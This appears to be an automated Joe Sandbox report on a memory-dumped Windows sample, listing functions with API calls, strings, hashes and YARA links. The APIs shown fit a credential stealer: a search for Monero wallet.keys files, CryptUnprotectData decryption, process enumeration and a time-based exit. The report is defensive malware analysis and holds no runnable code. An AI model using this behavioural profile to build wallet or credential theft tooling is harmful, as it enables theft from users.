Function 0061DFCA Relevance: 10.4, Strings: 7, Instructions: 1630COMMON

Download Yara Rule

Strings

kig{, xrefs: 0061F24D
LxV, xrefs: 0061E98F
?Gk, xrefs: 0061EA6D
^mw, xrefs: 0061E6D9
dql., xrefs: 0061E389
e3wo, xrefs: 0061E4CC
lLk, xrefs: 0061EAC1

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?Gk$LxV$^mw$dql.$e3wo$kig{$lLk
API String ID: 0-2097328590
Opcode ID: 9bcccd62618babde5730013037370a47a56883c95a9f43c5ae9475b2c2b7c382
Instruction ID: f965bc6b5ae74094bbacbb706540fb6259bcdf4bf58269dfb97cb262324d98b3
Opcode Fuzzy Hash: 9bcccd62618babde5730013037370a47a56883c95a9f43c5ae9475b2c2b7c382
Instruction Fuzzy Hash: 6FB22BF3A0C2049FE3046E2DEC8567ABBD6EFD4720F1A863DEAC497744E93558018796

Function 0026E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00280D73), ref: 0026E4A2
StrCmpCA.SHLWAPI(?,002814F8), ref: 0026E4F2
StrCmpCA.SHLWAPI(?,002814FC), ref: 0026E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0026EBDF

Strings

\*.*, xrefs: 0026E44D

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 89c80c29dffe72f4aa3f39e201fcd3949a53d9e4d644f5e5156da9c96e4d29e9
Instruction ID: cd088ee64af9ae22236f586e450dd614ab93b21589b8982ed46b702120222ab2
Opcode Fuzzy Hash: 89c80c29dffe72f4aa3f39e201fcd3949a53d9e4d644f5e5156da9c96e4d29e9
Instruction Fuzzy Hash: 8C1231719201189ADB18FB70DC96EEE7338AF94310F4085A9B51F96091EF346F69CF92

Function 00632319 Relevance: 9.1, Strings: 6, Instructions: 1640COMMON

Download Yara Rule

Strings

Q>r, xrefs: 006323C2
"qn, xrefs: 00632F6E
.c, xrefs: 006330B6
h:w, xrefs: 00632AFE
;'o~, xrefs: 00632F12
k~, xrefs: 006331FC

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "qn$;'o~$Q>r$h:w$.c$k~
API String ID: 0-750262017
Opcode ID: c4b06f9bb42daa874629433d333d2123d59f7a547a5ca3007e9e89fac07e2ff4
Instruction ID: 828a985a6050017eaee19439b945895bb18ee58ed6efcbb789c2c159ee519256
Opcode Fuzzy Hash: c4b06f9bb42daa874629433d333d2123d59f7a547a5ca3007e9e89fac07e2ff4
Instruction Fuzzy Hash: 23B2E3F360C2049FE304AE2DEC8567AFBE9EF94620F16893DE6C5C3744EA3558058697

Function 00269AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N&,00000000,00000000), ref: 00269AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00264EEE,00000000,?), ref: 00269B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N&,00000000,00000000), ref: 00269B2A
LocalFree.KERNEL32(?,?,?,?,00264EEE,00000000,?), ref: 00269B3F

Strings

N&, xrefs: 00269AD4, 00269AE1, 00269AF9, 00269B18, 00269AE4, 00269B1B

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N&
API String ID: 4291131564-1489400810
Opcode ID: cf7ebd9a746426515f1a30b4c32422d0b9e3cf43c5d94023d5a9e1acaffe173e
Instruction ID: f3391202e557979ca41832704313ce5d0267bb56df17860d1a8fef95a37c48fc
Opcode Fuzzy Hash: cf7ebd9a746426515f1a30b4c32422d0b9e3cf43c5d94023d5a9e1acaffe173e
Instruction Fuzzy Hash: 2211D4B4240208AFEB00CF64CC95FAA77B9FB8AB14F208058F9159F390C775A951CB54

Function 00629CD6 Relevance: 7.8, Strings: 5, Instructions: 1528COMMON

Download Yara Rule

Strings

TNkV, xrefs: 0062A204
lN, xrefs: 0062A4AC
wN?, xrefs: 0062AA59
G>, xrefs: 0062A408
7Is{, xrefs: 0062A85A

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7Is{$G>$TNkV$lN$wN?
API String ID: 0-2232020119
Opcode ID: a68daa9b8a01490c3f9601220341e7a15b7c5de5c7c32472e6b00f94845903a9
Instruction ID: c2351524f396135d8b889b97d269e0d5d781591b9c52d65a65e9d3a0aa9c4f79
Opcode Fuzzy Hash: a68daa9b8a01490c3f9601220341e7a15b7c5de5c7c32472e6b00f94845903a9
Instruction Fuzzy Hash: F8A205F39086049FE704AE29EC8567AFBE5EF94320F164A3DEAC5C7344E63598058787

Function 0026C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0026C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0026C87C
lstrcat.KERNEL32(?,00280B46), ref: 0026C943
lstrcat.KERNEL32(?,00280B47), ref: 0026C957
lstrcat.KERNEL32(?,00280B4E), ref: 0026C978

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 5e6f8ec5916ebf0bd3b0457bbe7425f2ce41f2d52958a010abf35a95d6d58728
Instruction ID: 39deb8d54d365eae0d2babc1cb7152d77bb069345a912bb849561e760a354f3c
Opcode Fuzzy Hash: 5e6f8ec5916ebf0bd3b0457bbe7425f2ce41f2d52958a010abf35a95d6d58728
Instruction Fuzzy Hash: F64171B591421ADBDB10EFA0DD89BFEBBB8BB48304F1041B8E509A7280D7745A94CF91

Function 00276920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0027696C
sscanf.NTDLL ref: 00276999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 002769B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 002769C0
ExitProcess.KERNEL32 ref: 002769DA

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d8aed5c24500c722b771646e31faa92f4c59303ff3696dbb0924e949169daf33
Instruction ID: 13feed48b48b6eebcbc8cbcbef3796362ae3d058d06b9f34fdc5cd47f9abb24f
Opcode Fuzzy Hash: d8aed5c24500c722b771646e31faa92f4c59303ff3696dbb0924e949169daf33
Instruction Fuzzy Hash: 4621FF75D10209ABCF44EFE4D9499EEBBB5FF48300F04852EE51AE3250EB345618CB69

Function 00267240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0026724D
RtlAllocateHeap.NTDLL(00000000), ref: 00267254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00267281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 002672A4
LocalFree.KERNEL32(?), ref: 002672AE

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: cb81376887b05c9ac7ceea823e7a0715fe9a5b525c78f60ddceac076bef3b72e
Instruction ID: ea05f43485e0876719304ff0373034879cebf726beb27f6b002a2c1ba00e2ee6
Opcode Fuzzy Hash: cb81376887b05c9ac7ceea823e7a0715fe9a5b525c78f60ddceac076bef3b72e
Instruction Fuzzy Hash: 220112B5A50208BBEB10DFD4DD49F9E7B78EB44B04F104558FB05AB2C0D7B4AA10CB69

Function 00279600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0027961E
Process32First.KERNEL32(00280ACA,00000128), ref: 00279632
Process32Next.KERNEL32(00280ACA,00000128), ref: 00279647
StrCmpCA.SHLWAPI(?,00000000), ref: 0027965C
CloseHandle.KERNEL32(00280ACA), ref: 0027967A

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 3b36fbbd21db13875b906ceb63ce224a5e5ea85ed2cd31b7994d37fe604a7581
Instruction ID: e5910ad5c6d6054e02cbc5fe12badfeba248fee9749eec894d6110cb3d5909bb
Opcode Fuzzy Hash: 3b36fbbd21db13875b906ceb63ce224a5e5ea85ed2cd31b7994d37fe604a7581
Instruction Fuzzy Hash: D8011E75A10309EBDB15DFA5CD48BEEBBF8EF48300F108298A90A97240D7759BA4CF51

Function 006219AB Relevance: 7.5, Strings: 5, Instructions: 1261COMMON

Download Yara Rule

Strings

*}R, xrefs: 00621F81
GFJ, xrefs: 00621E70
s, xrefs: 00622334
Aco~, xrefs: 0062275C
00Fm, xrefs: 00622015

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: s$00Fm$Aco~$GFJ$*}R
API String ID: 0-1737098953
Opcode ID: 91f6771a3e86d83f1ee4ff6efaad9d0cad6511acf2c9eed8d27db7e8a3adb468
Instruction ID: cceff722333a28a67cf60fdca13e2c369d4e81f1342ae5ff52979464f0486b49
Opcode Fuzzy Hash: 91f6771a3e86d83f1ee4ff6efaad9d0cad6511acf2c9eed8d27db7e8a3adb468
Instruction Fuzzy Hash: 6A82F7B3A0C2049FD704AE2DEC8567AF7E5EF94720F1A893DE6C4C3744EA3558058697

Function 0061FAD5 Relevance: 6.6, Strings: 4, Instructions: 1645COMMON

Download Yara Rule

Strings

n[L, xrefs: 006200D7
?4W~, xrefs: 00620109
?ww, xrefs: 00620793
y?9G, xrefs: 00620D23

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: n[L$?4W~$?ww$y?9G
API String ID: 0-3159914443
Opcode ID: 7382f1d7f397adc32af04287568f639d84181c9e1a7037fdb9cfed2aa62af338
Instruction ID: 3ce9a2abb83b5cc59306aa42e65913a31578d3185b0b96423b31f156a056e8d2
Opcode Fuzzy Hash: 7382f1d7f397adc32af04287568f639d84181c9e1a7037fdb9cfed2aa62af338
Instruction Fuzzy Hash: 63B217F3A082049FE3046E2DEC8567AFBE9EF94720F1A453DE6C4C7744E63598058697

Function 00278EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00265184,40000001,00000000,00000000,?,00265184), ref: 00278EC0

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
